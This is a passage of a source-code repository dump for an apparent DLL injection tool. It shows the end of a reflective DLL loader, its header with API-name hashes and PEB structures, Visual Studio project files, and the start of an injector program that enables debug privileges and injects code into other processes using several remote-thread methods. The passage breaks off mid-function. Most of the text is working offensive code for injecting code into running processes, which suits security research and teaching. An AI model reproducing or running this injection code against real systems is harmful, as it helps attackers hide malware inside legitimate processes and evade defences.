NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof( ULONG_PTR ); 361 | if( uiValueD ) 362 | uiValueD += sizeof( ULONG_PTR ); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 376 | 377 | // check if their are any relocations present 378 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 382 | 383 | // and we itterate through all entries... 384 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while( uiValueB-- ) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 402 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 404 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 416 | // sanity chack we are processing a MOV instruction... 417 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)( dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 435 | } 436 | } 437 | #endif 438 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 439 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 441 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof( IMAGE_RELOC ); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch( dwReason ) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if( lpReserved != NULL ) 482 | *(HMODULE *)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// 497 | -------------------------------------------------------------------------------- /src/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | //#include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror( DWORD d ) 64 | { 65 | return _rotr( d, HASH_KEY ); 66 | } 67 | 68 | __forceinline DWORD hash( char * c ) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror( h ); 74 | h += *c; 75 | } while( *++c ); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, *PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK * pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD dwHeapSegmentCommit; 161 | DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset:12; 199 | WORD type:4; 200 | } IMAGE_RELOC, *PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// 204 | -------------------------------------------------------------------------------- /src/dllInject.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 68 | 71 | 74 | 77 | 80 | 83 | 86 | 89 | 90 | 98 | 101 | 104 | 107 | 110 | 113 | 124 | 127 | 130 | 133 | 143 | 146 | 149 | 152 | 155 | 158 | 161 | 164 | 165 | 166 | 167 | 168 | 169 | 174 | 177 | 178 | 181 | 182 | 185 | 186 | 189 | 190 | 191 | 196 | 199 | 200 | 203 | 204 | 207 | 208 | 211 | 212 | 213 | 218 | 221 | 222 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | -------------------------------------------------------------------------------- /src/dllInject.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release64 14 | Win32 15 | 16 | 17 | Release64 18 | x64 19 | 20 | 21 | Release 22 | Win32 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | dllInjector 31 | {DF20DC75-A46A-4D25-9BFE-5BCA5D3B7847} 32 | vminject2 33 | Win32Proj 34 | 35 | 36 | 37 | Application 38 | MultiByte 39 | true 40 | 41 | 42 | Application 43 | MultiByte 44 | true 45 | 46 | 47 | Application 48 | MultiByte 49 | true 50 | 51 | 52 | Application 53 | MultiByte 54 | true 55 | 56 | 57 | Application 58 | MultiByte 59 | 60 | 61 | Application 62 | MultiByte 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | <_ProjectFileVersion>10.0.30319.1 88 | $(SolutionDir)$(Configuration)\ 89 | $(SolutionDir)$(Configuration)\ 90 | $(Configuration)\ 91 | $(Configuration)\ 92 | true 93 | true 94 | $(SolutionDir)$(Configuration)\ 95 | $(SolutionDir)$(Configuration)\ 96 | $(SolutionDir)$(Configuration)\ 97 | $(SolutionDir)$(Configuration)\ 98 | $(Configuration)\ 99 | $(Configuration)\ 100 | $(Configuration)\ 101 | $(Configuration)\ 102 | false 103 | false 104 | false 105 | false 106 | AllRules.ruleset 107 | AllRules.ruleset 108 | 109 | 110 | 111 | 112 | AllRules.ruleset 113 | AllRules.ruleset 114 | AllRules.ruleset 115 | AllRules.ruleset 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | $(ProjectName)-$(PlatformShortName) 125 | $(ProjectName)-$(Platform) 126 | 127 | 128 | 129 | Disabled 130 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 131 | true 132 | EnableFastChecks 133 | MultiThreadedDebugDLL 134 | 135 | 136 | Level3 137 | EditAndContinue 138 | 139 | 140 | true 141 | Console 142 | MachineX86 143 | 144 | 145 | 146 | 147 | Disabled 148 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 149 | EnableFastChecks 150 | MultiThreadedDebugDLL 151 | 152 | 153 | Level3 154 | ProgramDatabase 155 | 156 | 157 | true 158 | Console 159 | 160 | 161 | 162 | 163 | MaxSpeed 164 | true 165 | WIN32;NDEBUG;_CONSOLE;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) 166 | MultiThreadedDLL 167 | true 168 | 169 | 170 | Level3 171 | ProgramDatabase 172 | 173 | 174 | %(AdditionalLibraryDirectories) 175 | true 176 | Console 177 | true 178 | true 179 | MachineX86 180 | $(OutDir)$(TargetName)$(TargetExt) 181 | 182 | 183 | 184 | 185 | MaxSpeed 186 | true 187 | WIN32;NDEBUG;_CONSOLE;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) 188 | MultiThreadedDLL 189 | true 190 | 191 | 192 | Level3 193 | ProgramDatabase 194 | 195 | 196 | %(AdditionalLibraryDirectories) 197 | true 198 | Console 199 | true 200 | true 201 | MachineX86 202 | 203 | 204 | 205 | 206 | MaxSpeed 207 | true 208 | WIN32;NDEBUG;_CONSOLE;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) 209 | MultiThreadedDLL 210 | true 211 | 212 | 213 | Level3 214 | ProgramDatabase 215 | 216 | 217 | %(AdditionalLibraryDirectories) 218 | true 219 | Console 220 | true 221 | true 222 | $(OutDir)$(TargetName)$(TargetExt) 223 | 224 | 225 | 226 | 227 | MaxSpeed 228 | true 229 | WIN32;NDEBUG;_CONSOLE;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) 230 | MultiThreadedDLL 231 | true 232 | 233 | 234 | Level3 235 | ProgramDatabase 236 | 237 | 238 | %(AdditionalLibraryDirectories) 239 | true 240 | Console 241 | true 242 | true 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | -------------------------------------------------------------------------------- /src/dllInject.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | 49 | 50 | Resource Files 51 | 52 | 53 | -------------------------------------------------------------------------------- /src/dllInjector.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/src/dllInjector.aps -------------------------------------------------------------------------------- /src/dllInjector.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/dllinjector/412f8a456f9c897d7cf135711f125827ec08ea1f/src/dllInjector.rc -------------------------------------------------------------------------------- /src/dllinject.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | dllinjector - 3 | brad.antoniewicz@foundstone.com 4 | 5 | This tool aims to implement various DLL injection 6 | techniques. For more information on DLL injection 7 | see http://blog.opensecurityresearch.com 8 | 9 | This was built using Microsoft Visual Studio 2010 10 | 11 | dllInjector currently supports using: 12 | 13 | DLL Memory Allocation and Execution Techniques: 14 | 1. Allocate memory for DLL Path and use LoadLibraryA(). 15 | 2. Allocate memory for full DLL and jump to the DLL's 16 | entry point. 17 | 18 | DLL Injection Techniques 19 | 1. CreateRemoteThread() 20 | 2. NtCreateThreadEx() 21 | 3. Suspend, Inject, and Resume 22 | 4. RtlCreateUserThread() 23 | 24 | Todo: 25 | 1. Implement SetWindowsHookEx() Method 26 | http://www.kdsbest.com/?p=179 27 | 2. Implement QueueUserAPC() Method 28 | http://webcache.googleusercontent.com/search?q=cache:G8i5oxOWbDMJ:www.hackforums.net/archive/index.php/thread-2442150.html+&cd=3&hl=en&ct=clnk&gl=us&client=firefox-a 29 | 3. Implement PrivEscalation as per: 30 | https://github.com/rapid7/metasploit-framework/tree/master/external/source/meterpreter/source/extensions/priv/server/elevate 31 | /metasploit/msf3/external/source/meterpreter/source/extensions/priv/server/elevate 32 | 33 | Credits: 34 | vminjector - https://github.com/batistam/VMInjector 35 | ReflectiveDLLInjection - https://github.com/stephenfewer/ReflectiveDLLInjection 36 | 37 | */ 38 | 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include "ExecThread.h" 45 | #include "AllocWriteDLL.h" 46 | 47 | #pragma comment(lib,"Advapi32.lib") 48 | 49 | #define VERSION 0.2 50 | #define BUFSIZE 512 51 | 52 | 53 | int SetDebugPrivileges(void) { 54 | TOKEN_PRIVILEGES priv = {0}; 55 | HANDLE hToken = NULL; 56 | 57 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { 58 | priv.PrivilegeCount = 1; 59 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 60 | 61 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) { 62 | if(AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) == 0) { 63 | printf("AdjustTokenPrivilege Error! [%u]\n",GetLastError()); 64 | } 65 | } 66 | 67 | CloseHandle( hToken ); 68 | } 69 | return GetLastError(); 70 | } 71 | 72 | HANDLE attachToProcess(DWORD procID) { 73 | OSVERSIONINFO osver; 74 | 75 | // SetDebugPrivileges SE_DEBUG_NAME 76 | printf("[+] Setting Debug Privileges [%d]\n", SetDebugPrivileges()); 77 | 78 | osver.dwOSVersionInfoSize = sizeof(osver); 79 | if (GetVersionEx(&osver)) { 80 | if (osver.dwMajorVersion == 5) { 81 | printf("\t[+] Detected Windows XP\n"); 82 | return OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, 0, procID ); 83 | } 84 | if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0) { 85 | printf("\t[+] Detected Windows Vista\n"); 86 | return NULL; 87 | } 88 | if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 1) { 89 | printf("\t[+] Detected Windows 7\n"); 90 | printf("\t[+] Attaching to Process ID: %d\n", procID); 91 | return OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, procID ); 92 | } 93 | } else { 94 | printf("\n[!] Could not detect OS version\n"); 95 | } 96 | return NULL; 97 | } 98 | int injectDLL(HANDLE hTargetProcHandle, unsigned int injectMethod, LPTHREAD_START_ROUTINE lpStartExecAddr, LPVOID lpExecParam) { 99 | HANDLE rThread = NULL; 100 | 101 | switch(injectMethod) { 102 | case 1: // NtCreateThreadEx 103 | printf("\n[+] Using NtCreateThreadEx() to Create Thread\n"); 104 | rThread = bCreateRemoteThread(hTargetProcHandle, lpStartExecAddr, lpExecParam); 105 | if (rThread == NULL) { 106 | printf("\n[!] NtCreateThreadEx Failed! [%d] Exiting....\n", GetLastError()); 107 | return -1; 108 | } 109 | printf("\t[+] Remote Thread created! [%d]\n", GetLastError()); 110 | WaitForSingleObject(rThread, INFINITE); 111 | break; 112 | case 2: // CreateRemoteThread 113 | printf("\n[+] Using CreateRemoteThread() to Create Thread\n"); 114 | rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL); 115 | if (rThread == NULL) { 116 | printf("\n[!] CreateRemoteThread Failed! [%d] Exiting....\n", GetLastError()); 117 | return -1; 118 | } 119 | printf("\t[+] Remote Thread created! [%d]\n", GetLastError()); 120 | WaitForSingleObject(rThread, INFINITE); 121 | break; 122 | case 3: // Suspend/Inject/Resume 123 | printf("\n[+] Using the Suspend/Inject/Resume Method to Create Thread\n"); 124 | #ifdef _WIN64 // Need to fix this! 125 | printf("\n[+] Suspend/Inject/Resume Method Not currently supported on x64 :(\n"); 126 | return -1; 127 | 128 | #else 129 | suspendInjectResume(hTargetProcHandle, lpStartExecAddr, lpExecParam); 130 | #endif 131 | break; 132 | case 4: //RtlCreateUserThread 133 | printf("\n[+] Using RtlCreateUserThread() to Create Thread\n"); 134 | rThread = bCreateUserThread(hTargetProcHandle, lpStartExecAddr, lpExecParam); 135 | if (rThread == NULL) { 136 | printf("\n[!] RtlCreateUserThread Failed! [%d] Exiting....\n", GetLastError()); 137 | return -1; 138 | } 139 | printf("\t[+] Remote Thread created! [%d]\n", GetLastError()); 140 | WaitForSingleObject(rThread, INFINITE); 141 | break; 142 | default: 143 | printf("\n[!] Unknown Injection Method WTF?!\n"); 144 | return -1; 145 | } 146 | return 0; 147 | 148 | } 149 | 150 | void dumpProcs( void ) { 151 | PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) } ; 152 | HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); 153 | 154 | printf("[+] 